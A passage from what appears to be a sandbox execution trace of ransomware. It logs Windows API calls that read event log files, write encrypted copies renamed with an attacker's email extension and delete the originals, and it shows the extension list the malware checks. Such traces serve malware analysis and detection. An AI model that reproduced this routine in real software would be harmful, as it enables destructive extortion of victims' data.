dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.511] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0080.511] CloseHandle (hObject=0x344) returned 1 [0080.512] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0080.512] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.512] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.512] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.512] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.512] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.512] GetLastError () returned 0x0 [0080.512] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.516] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.518] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.518] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13c, lpOverlapped=0x0) returned 1 [0080.518] SetEndOfFile (hFile=0x384) returned 1 [0080.519] CloseHandle (hObject=0x384) returned 1 [0080.535] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.536] SetEndOfFile (hFile=0x344) returned 1 [0080.538] CloseHandle (hObject=0x344) returned 1 [0080.538] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.538] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0080.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.539] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.539] lstrlenW (lpString=".doc") returned 4 [0080.539] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString=".docx") returned 5 [0080.539] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.539] lstrlenW (lpString=".pdf") returned 4 [0080.539] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString=".xls") returned 4 [0080.539] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString=".xlsx") returned 5 [0080.539] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.539] lstrlenW (lpString=".ppt") returned 4 [0080.539] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.539] lstrlenW (lpString=".zip") returned 4 [0080.539] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString=".rar") returned 4 [0080.539] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString=".bz2") returned 4 [0080.539] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString=".7z") returned 3 [0080.539] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.539] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.539] lstrlenW (lpString=".dbf") returned 4 [0080.539] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.539] lstrlenW (lpString=".1cd") returned 4 [0080.539] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.539] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.539] lstrlenW (lpString=".jpg") returned 4 [0080.540] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.540] lstrlenW (lpString=".doc") returned 4 [0080.540] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString=".docx") returned 5 [0080.540] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.540] lstrlenW (lpString=".pdf") returned 4 [0080.540] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString=".xls") returned 4 [0080.540] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString=".xlsx") returned 5 [0080.540] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.540] lstrlenW (lpString=".ppt") returned 4 [0080.540] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.540] lstrlenW (lpString=".zip") returned 4 [0080.540] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString=".rar") returned 4 [0080.540] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString=".bz2") returned 4 [0080.540] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString=".7z") returned 3 [0080.540] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.540] lstrlenW (lpString=".dbf") returned 4 [0080.540] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.541] lstrlenW (lpString=".1cd") returned 4 [0080.541] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0080.541] lstrlenW (lpString=".jpg") returned 4 [0080.541] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.541] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.541] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0080.541] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.541] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0080.541] CloseHandle (hObject=0x344) returned 1 [0080.541] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0080.542] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.542] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.542] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.542] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.542] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.544] GetLastError () returned 0x0 [0080.544] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.865] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.867] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.867] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x12c, lpOverlapped=0x0) returned 1 [0080.867] SetEndOfFile (hFile=0x384) returned 1 [0080.868] CloseHandle (hObject=0x384) returned 1 [0080.870] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.870] SetEndOfFile (hFile=0x344) returned 1 [0080.871] CloseHandle (hObject=0x344) returned 1 [0080.871] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.872] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0080.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.872] lstrlenW (lpString=".doc") returned 4 [0080.872] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.872] lstrlenW (lpString=".docx") returned 5 [0080.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.872] lstrlenW (lpString=".pdf") returned 4 [0080.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.872] lstrlenW (lpString=".xls") returned 4 [0080.872] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.872] lstrlenW (lpString=".xlsx") returned 5 [0080.872] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.872] lstrlenW (lpString=".ppt") returned 4 [0080.872] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.872] lstrlenW (lpString=".zip") returned 4 [0080.872] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.872] lstrlenW (lpString=".rar") returned 4 [0080.872] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.872] lstrlenW (lpString=".bz2") returned 4 [0080.872] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.872] lstrlenW (lpString=".7z") returned 3 [0080.872] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.872] lstrlenW (lpString=".dbf") returned 4 [0080.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.873] lstrlenW (lpString=".1cd") returned 4 [0080.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.873] lstrlenW (lpString=".jpg") returned 4 [0080.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.873] lstrlenW (lpString=".doc") returned 4 [0080.873] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString=".docx") returned 5 [0080.873] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.873] lstrlenW (lpString=".pdf") returned 4 [0080.873] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString=".xls") returned 4 [0080.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString=".xlsx") returned 5 [0080.873] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.873] lstrlenW (lpString=".ppt") returned 4 [0080.873] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.873] lstrlenW (lpString=".zip") returned 4 [0080.873] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString=".rar") returned 4 [0080.873] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString=".bz2") returned 4 [0080.873] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString=".7z") returned 3 [0080.873] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.873] lstrlenW (lpString=".dbf") returned 4 [0080.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.874] lstrlenW (lpString=".1cd") returned 4 [0080.874] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0080.874] lstrlenW (lpString=".jpg") returned 4 [0080.874] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.874] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.874] lstrlenW (lpString="Setup.evtx") returned 10 [0080.874] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.874] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0080.874] CloseHandle (hObject=0x344) returned 1 [0080.874] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0080.874] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.874] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.874] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.875] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.875] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.875] GetLastError () returned 0x0 [0080.875] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.882] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.884] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.884] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe8, lpOverlapped=0x0) returned 1 [0080.884] SetEndOfFile (hFile=0x384) returned 1 [0080.884] CloseHandle (hObject=0x384) returned 1 [0080.886] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.886] SetEndOfFile (hFile=0x344) returned 1 [0080.888] CloseHandle (hObject=0x344) returned 1 [0080.888] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.888] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0080.888] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.888] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.888] lstrlenW (lpString=".doc") returned 4 [0080.888] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.888] lstrlenW (lpString=".docx") returned 5 [0080.888] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.888] lstrlenW (lpString=".pdf") returned 4 [0080.888] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.888] lstrlenW (lpString=".xls") returned 4 [0080.888] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.888] lstrlenW (lpString=".xlsx") returned 5 [0080.888] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.888] lstrlenW (lpString=".ppt") returned 4 [0080.888] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.889] lstrlenW (lpString=".zip") returned 4 [0080.889] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString=".rar") returned 4 [0080.889] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString=".bz2") returned 4 [0080.889] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString=".7z") returned 3 [0080.889] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.889] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.889] lstrlenW (lpString=".dbf") returned 4 [0080.889] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.889] lstrlenW (lpString=".1cd") returned 4 [0080.889] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.889] lstrlenW (lpString=".jpg") returned 4 [0080.889] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.889] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.889] lstrlenW (lpString=".doc") returned 4 [0080.889] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString=".docx") returned 5 [0080.889] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.889] lstrlenW (lpString=".pdf") returned 4 [0080.889] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString=".xls") returned 4 [0080.889] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString=".xlsx") returned 5 [0080.889] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.889] lstrlenW (lpString=".ppt") returned 4 [0080.889] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.889] lstrlenW (lpString=".zip") returned 4 [0080.889] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.889] lstrlenW (lpString=".rar") returned 4 [0080.890] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.890] lstrlenW (lpString=".bz2") returned 4 [0080.890] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.890] lstrlenW (lpString=".7z") returned 3 [0080.890] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.890] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.890] lstrlenW (lpString=".dbf") returned 4 [0080.890] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.890] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.890] lstrlenW (lpString=".1cd") returned 4 [0080.890] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.890] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0080.890] lstrlenW (lpString=".jpg") returned 4 [0080.890] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.890] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.890] lstrlenW (lpString="System.evtx") returned 11 [0080.890] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.891] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1118208) returned 1 [0080.891] CloseHandle (hObject=0x344) returned 1 [0080.891] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0080.891] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\system.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.891] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.891] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.891] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.891] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\system.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.892] GetLastError () returned 0x0 [0080.892] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0081.086] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0081.109] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11010, lpOverlapped=0x0) returned 1 [0081.118] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11020, lpOverlapped=0x0) returned 1 [0081.124] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, 